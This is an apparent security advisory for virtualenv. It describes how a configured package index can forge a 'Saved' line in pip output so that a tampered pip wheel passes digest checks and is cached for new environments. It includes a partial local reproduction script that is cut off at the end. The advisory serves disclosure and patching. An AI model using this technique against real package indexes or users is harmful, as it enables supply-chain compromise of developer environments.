PyPI · virtualenv
virtualenv: Downloaded wheel selection and caching precede verification
Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache.
Anthropic's OSS Scanner reported this as ANT-2026-ST00DRO3 in virtualenv-20261015-005, received on 15 October 2026.
Download selection and promotion into the reusable wheel cache.
A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison.
The relevant 21.14.8 source is in wheel download and digest check.
download_wheel() tells pip to write directly into the reusable wheel/house cache. It then selects a path to hash
from the first Saved line in pip's stdout, rather than from the file pip actually placed there. A package index can
inject such a line through a discarded link's data-requires-python attribute. A separate failure exists without the
forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain
there. Later wheel selection does not hash the cached file again.
The scanner used a local index configured in pip.conf, with PyPI digest comparison still enabled. In the control case
it served a modified pip wheel alone. virtualenv --upgrade-embed-wheels refused the mismatch, and a subsequent
environment used the bundled pip. In the attack case the index added a link whose data-requires-python contained a
forged Saved <path> line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded
the modified wheel in its update log, and a later environment's pip --version ran a line added by the index. The
reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.
The report also shows that a refused wheel can replace a previously accepted file of the same name in wheel/house,
leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The
gap follows the digest check added in #3251, first released in 21.7.12.
PR #3430 downloads to a private temporary directory, verifies the actual
archive, and promotes it only after acceptance.
sequenceDiagram
participant I as Configured index
participant P as pip download
participant C as wheel/house cache
participant V as virtualenv digest check
participant N as New environment
I->>P: modified wheel and forged Saved line
P->>C: write modified wheel directly
P-->>V: stdout names genuine bundled wheel
V->>V: hash genuine wheel and accept
V->>C: record modified wheel for reuse
C->>N: seed modified pip without rehash
Note over P,C: Even a rejected wheel can remain in the cache
The following files are from the scanner report for ANT-2026-ST00DRO3. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import atexit
import hashlib
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path
companions = Path("/tmp/repro.d")
work = Path("/tmp/forged-saved-line")
home = work / "home"
app_data = home / ".cache" / "virtualenv"
this_python = f"{sys.version_info.major}.{sys.version_info.minor}" # the target; each Python has its own update log
update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json"
virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"]
as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True}
added_code_prints = "code added by the index" # the line index_serves_modified_pip.py adds to pip/__init__.py
def user_upgrades_seed_wheels_and_creates_env():
# each case starts from an empty app-data
shutil.rmtree(app_data, ignore_errors=True)
shutil.rmtree(home / "env", ignore_errors=True)
upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user)
# --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach
subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True)
pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True)
# one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0
refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None)
logged = []
if update_log_of_pip.exists(): # a failed update writes no log
logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]]
return refusal, logged, pip_version.stdout.splitlines()
# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it
shutil.rmtree(work, ignore_errors=True)
(home / ".config" / "pip").mkdir(parents=True)
shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf")
subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True)
index_server = subprocess.Popen(
[sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"],
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
text=True,
)
atexit.register(index_server.kill)
assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start" # printed once bound
# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it
subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
print("CONTROL modified pip: --upgrade-embed-wheels refused with:", refusal)
print("CONTROL modified pip: update log of pip lists", logged)
print("CONTROL modified pip: pip --version in the new env prints", pip_says)
control_ran_added_code = added_code_prints in "\n".join(pip_says)
# attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output
subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl"
stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()
pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"]
print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal)
print("OBSERVED + forged line: update log of pip lists", logged)
print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256)
print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256)
print("OBSERVED + forged line: pip --version in the new env prints", pip_says)
attack_ran_added_code = added_code_prints in "\n".join(pip_says)
# check: the same modified wheel, refused without the forged line, is seeded with it
print
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.